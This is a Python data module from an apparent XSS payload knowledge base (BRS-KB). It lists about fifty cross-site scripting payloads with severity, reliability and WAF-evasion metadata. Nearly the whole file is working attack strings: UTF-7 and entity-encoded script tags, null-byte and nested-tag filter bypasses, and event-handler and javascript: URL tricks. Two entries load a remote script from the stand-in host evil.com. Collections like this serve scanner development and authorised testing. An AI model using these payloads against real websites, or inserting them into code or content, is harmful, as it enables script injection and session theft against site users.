#!/usr/bin/env python3

"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Unique XSS payloads extracted from various community sources.
Only unique techniques not covered by primary sources.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


COMMUNITY_MISC_PAYLOADS = {
    # === UTF-7 Encoding (legacy but still relevant) ===
    "cm-utf7-script": PayloadEntry(
        payload="+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="UTF-7 encoded script tag - requires UTF-7 charset",
        tags=["community", "utf7", "encoding", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "cm-utf7-script-urlenc": PayloadEntry(
        payload="%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="UTF-7 + URL encoded script",
        tags=["community", "utf7", "url", "encoding"],
        reliability=Reliability.LOW,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "cm-utf7-quote-break": PayloadEntry(
        payload="+ACIAPgA8-script+AD4-alert(1)+ADw-/script+AD4APAAi-",
        contexts=["html_attribute"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="UTF-7 quote breaking with script",
        tags=["community", "utf7", "quote-break"],
        reliability=Reliability.LOW,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    # === HTML Entity Obfuscation (unique patterns) ===
    "cm-entity-iframe-tab": PayloadEntry(
        payload='<iframe %00 src="&Tab;javascript:alert(1)&Tab;"%00>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe with null bytes and Tab entities",
        tags=["community", "iframe", "null", "tab", "entity"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-entity-svg-style": PayloadEntry(
        payload="<svg><style>{font-family&colon;'<iframe/onload=alert(1)>'}",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG style with colon entity and nested iframe",
        tags=["community", "svg", "style", "entity", "nested"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-entity-input-mouseover": PayloadEntry(
        payload='<input/onmouseover="javaSCRIPT&colon;alert&lpar;1&rpar;">',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Input with entity-encoded javascript",
        tags=["community", "input", "entity", "mouseover"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-entity-form-isindex": PayloadEntry(
        payload='<form><isindex formaction="javascript&colon;alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Form isindex with entity-encoded formaction",
        tags=["community", "form", "isindex", "entity"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-entity-img-newline": PayloadEntry(
        payload="<img src=`%00`&NewLine; onerror=alert(1)&NewLine;>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Img with backtick null and NewLine entities",
        tags=["community", "img", "null", "newline", "entity"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-entity-meta-refresh": PayloadEntry(
        payload='<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Meta refresh with NewLine and colon entities",
        tags=["community", "meta", "refresh", "entity"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === Null Byte Injections ===
    "cm-null-svg-script": PayloadEntry(
        payload="<sVg><scRipt %00>alert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG script with null byte - Opera specific",
        tags=["community", "svg", "null", "opera"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
        browser_support=["opera"],
    ),
    "cm-null-script-comments": PayloadEntry(
        payload="<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with null bytes in comments",
        tags=["community", "script", "null", "comments"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-null-form-input": PayloadEntry(
        payload='&#00;</form><input type="date" onfocus="alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Null entity breaking form with date input",
        tags=["community", "form", "null", "date", "html5"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === Unicode Escape Variations ===
    "cm-unicode-h1-mouseover": PayloadEntry(
        payload='&#34;&#62;<h1/onmouseover="\\u0061lert(1)">%00',
        contexts=["html_attribute"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Quote break with h1 and unicode escape",
        tags=["community", "h1", "unicode", "quote-break"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "cm-unicode-textarea": PayloadEntry(
        payload="<form><textarea &#13; onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074&#x28;1&#x29;'>",
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Textarea with full unicode escape",
        tags=["community", "textarea", "unicode", "onkeyup"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.UNICODE,
        waf_evasion=True,
    ),
    "cm-unicode-fullwidth": PayloadEntry(
        payload="<script>confirm('\\uFF41\\uFF4C\\uFF45\\uFF52\\uFF54\\u1455\\uFF11\\u1450')</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Fullwidth unicode characters",
        tags=["community", "unicode", "fullwidth"],
        reliability=Reliability.LOW,
        encoding=Encoding.UNICODE,
        waf_evasion=True,
    ),
    # === Data URL Variations ===
    "cm-dataurl-iframe-base64-tab": PayloadEntry(
        payload='<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe data URL with Tab entities in mime",
        tags=["community", "iframe", "dataurl", "base64", "tab"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.BASE64,
        waf_evasion=True,
    ),
    "cm-dataurl-iframe-entity-svg": PayloadEntry(
        payload='<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe data URL with entity-encoded onload",
        tags=["community", "iframe", "dataurl", "svg", "entity"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-dataurl-a-cert": PayloadEntry(
        payload='<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">X</a>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Data URL with fake cert content-type",
        tags=["community", "anchor", "dataurl", "cert", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.BASE64,
        waf_evasion=True,
    ),
    # === Exotic Event Handlers ===
    "cm-event-style-onload": PayloadEntry(
        payload="<style/onload=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style tag with onload event",
        tags=["community", "style", "onload"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "cm-event-blink-mouseover": PayloadEntry(
        payload="&#13;<blink/&#13; onmouseover=alert(1)>",
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Blink tag with CR entities - Firefox/Opera",
        tags=["community", "blink", "mouseover", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        browser_support=["firefox", "opera"],
    ),
    "cm-event-plaintext": PayloadEntry(
        payload="</plaintext\\></|\\><plaintext/onmouseover=alert(1)>",
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Plaintext tag escape with onmouseover",
        tags=["community", "plaintext", "escape"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-event-var": PayloadEntry(
        payload='<var onmouseover="alert(1)">text</var>',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Var tag with onmouseover",
        tags=["community", "var", "mouseover"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "cm-event-frameset": PayloadEntry(
        payload="<frameset onload=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Frameset onload event",
        tags=["community", "frameset", "onload", "legacy"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "cm-event-iframe-readystate": PayloadEntry(
        payload="<iframe/onreadystatechange=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe onreadystatechange - IE specific",
        tags=["community", "iframe", "readystatechange", "ie"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    # === Comment/Tag Breaking ===
    "cm-break-comment-img": PayloadEntry(
        payload='<!--<img src="--><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="HTML comment breaking with img",
        tags=["community", "comment", "break", "img"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-break-style-img": PayloadEntry(
        payload='<style><img src="</style><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Style tag breaking with img",
        tags=["community", "style", "break", "img"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-break-title-script": PayloadEntry(
        payload="</TITLE><SCRIPT>alert(1);</SCRIPT>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Title tag closing with script injection",
        tags=["community", "title", "break", "script"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "cm-break-double-script": PayloadEntry(
        payload="<<SCRIPT>alert(1);//<</SCRIPT>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Double open bracket script",
        tags=["community", "script", "double-bracket"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-break-nested-script": PayloadEntry(
        payload="<scr<script>ipt>alert(1)</scr</script>ipt>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Nested script tag filter bypass",
        tags=["community", "script", "nested", "filter-bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-break-img-double-script": PayloadEntry(
        payload="<IMG SRC=javascrscriptipt:alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Nested 'script' in javascript protocol",
        tags=["community", "img", "nested", "filter-bypass"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Exotic Protocols ===
    "cm-proto-svg-xlink-data": PayloadEntry(
        payload="<svg><script xlink:href=data&colon;,alert(1)></script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG script with xlink data URL",
        tags=["community", "svg", "xlink", "data"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-proto-form-a-unicode": PayloadEntry(
        payload='<form><a href="javascript:\\u0061lert&#x28;1&#x29;">X',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Form anchor with mixed unicode/entity encoding",
        tags=["community", "form", "anchor", "unicode", "entity"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "cm-proto-a-newline-js": PayloadEntry(
        payload='<a href="javascript:&#13; javascript:alert(1)"><input type="X">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Double javascript protocol with CR",
        tags=["community", "anchor", "javascript", "double"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-proto-a-mixed-case": PayloadEntry(
        payload='<a href="jAvAsCrIpT&colon;alert(1)">X</a>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Mixed case javascript with entity colon",
        tags=["community", "anchor", "case", "entity"],
        reliability=Reliability.HIGH,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === JS Engine Quirks ===
    "cm-js-regex-source": PayloadEntry(
        payload="<SCRIPT>a=/XSS/;alert(a.source)</SCRIPT>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Regex source property for string",
        tags=["community", "javascript", "regex", "quirk"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "cm-js-destructure": PayloadEntry(
        payload="<script>({0:#0=alert/#0#/#0#(1)})</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JS destructuring quirk - older engines",
        tags=["community", "javascript", "destructure", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "cm-js-nosuchmethod": PayloadEntry(
        payload="<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="__noSuchMethod__ quirk - Firefox legacy",
        tags=["community", "javascript", "nosuchmethod", "firefox", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "cm-js-crypto-crmf": PayloadEntry(
        payload="<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="crypto.generateCRMFRequest - Firefox legacy",
        tags=["community", "javascript", "crypto", "firefox", "legacy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["firefox"],
    ),
    "cm-js-referenceerror": PayloadEntry(
        payload="<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ReferenceError prototype manipulation",
        tags=["community", "javascript", "prototype", "error"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === XML/XMLNS Attacks ===
    "cm-xml-svg-script": PayloadEntry(
        payload='<svg xmlns="#"><script>alert(1)</script></svg>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="SVG with custom xmlns and script",
        tags=["community", "svg", "xmlns", "script"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "cm-xml-iframe-xmlns": PayloadEntry(
        payload='<iframe xmlns="#" src="javascript:alert(1)"></iframe>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe with xmlns attribute",
        tags=["community", "iframe", "xmlns", "javascript"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "cm-xml-processing": PayloadEntry(
        payload='<? foo="><script>alert(1)</script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="XML processing instruction injection",
        tags=["community", "xml", "processing", "injection"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-xml-exclaim": PayloadEntry(
        payload='<! foo="><script>alert(1)</script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Exclamation mark tag injection",
        tags=["community", "xml", "exclaim", "injection"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-xml-slash": PayloadEntry(
        payload='</ foo="><script>alert(1)</script>">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Slash tag injection",
        tags=["community", "xml", "slash", "injection"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Iframe Obfuscation ===
    "cm-iframe-null-slash": PayloadEntry(
        payload="<iframe/%00/ src=javascript&colon;alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe with null and slash obfuscation",
        tags=["community", "iframe", "null", "slash"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-iframe-newline-tab": PayloadEntry(
        payload="<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;a&NewLine;&Tab;s&NewLine;&Tab;c&NewLine;&Tab;r&NewLine;&Tab;i&NewLine;&Tab;p&NewLine;&Tab;t&colon;alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Iframe javascript with heavy whitespace entities",
        tags=["community", "iframe", "whitespace", "entity"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-iframe-fullscreen": PayloadEntry(
        payload='<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="alert(1)">',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Fullscreen iframe with onmouseover",
        tags=["community", "iframe", "fullscreen", "mouseover"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === Special Characters ===
    "cm-special-emoticons": PayloadEntry(
        payload="<script ^__^>alert(1)</script ^__^>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with emoticon characters",
        tags=["community", "script", "emoticon", "special"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-special-tilde": PayloadEntry(
        payload="<script ~~~>alert(1)</script ~~~>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with tilde characters",
        tags=["community", "script", "tilde", "special"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-special-pipe": PayloadEntry(
        payload="//|\\\\<script //|\\\\src='//evil.com/xss.js'>//|\\\\</script //|\\\\>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with pipe and backslash patterns",
        tags=["community", "script", "pipe", "special"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-special-sad": PayloadEntry(
        payload="</style &#32;><script &#32; :-(>/**/alert(1)/**/</script &#32; :-(>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Script with emoticon and space entities",
        tags=["community", "script", "emoticon", "entity"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    # === Attribute Injection ===
    "cm-attr-a-null": PayloadEntry(
        payload='<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=alert(1)//">XYZ</a>',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Anchor with entity-encoded attributes and nulls",
        tags=["community", "anchor", "entity", "null"],
        reliability=Reliability.LOW,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-attr-img-at": PayloadEntry(
        payload="<img/src=@&#32;&#13; onerror=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Img with @ and entity whitespace",
        tags=["community", "img", "at", "entity"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.HTML_ENTITIES,
        waf_evasion=True,
    ),
    "cm-attr-img-title-onerror": PayloadEntry(
        payload='<img src="/" =_=" title="onerror=\'alert(1)\'">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Img with malformed attributes hiding onerror",
        tags=["community", "img", "malformed", "title"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "cm-attr-input-value": PayloadEntry(
        payload="<input type=\"text\" value=`` <div/onmouseover='alert(1)'>X</div>",
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="Input value breaking with backticks",
        tags=["community", "input", "backtick", "break"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Percent Encoding Tricks ===
    "cm-percent-triple": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C/script%253E",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Triple URL encoded script",
        tags=["community", "url", "triple-encode"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.DOUBLE_URL,
        waf_evasion=True,
    ),
    "cm-percent-body-write": PayloadEntry(
        payload="%22/%3E%3CBODY%20onload=%27document.write(%22%3Cs%22%2b%22cript%20src=//evil.com/xss.js%3E%3C/script%3E%22)%27%3E",
        contexts=["url"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="URL encoded body onload with document.write",
        tags=["community", "url", "body", "write"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.URL,
        waf_evasion=True,
    ),
}
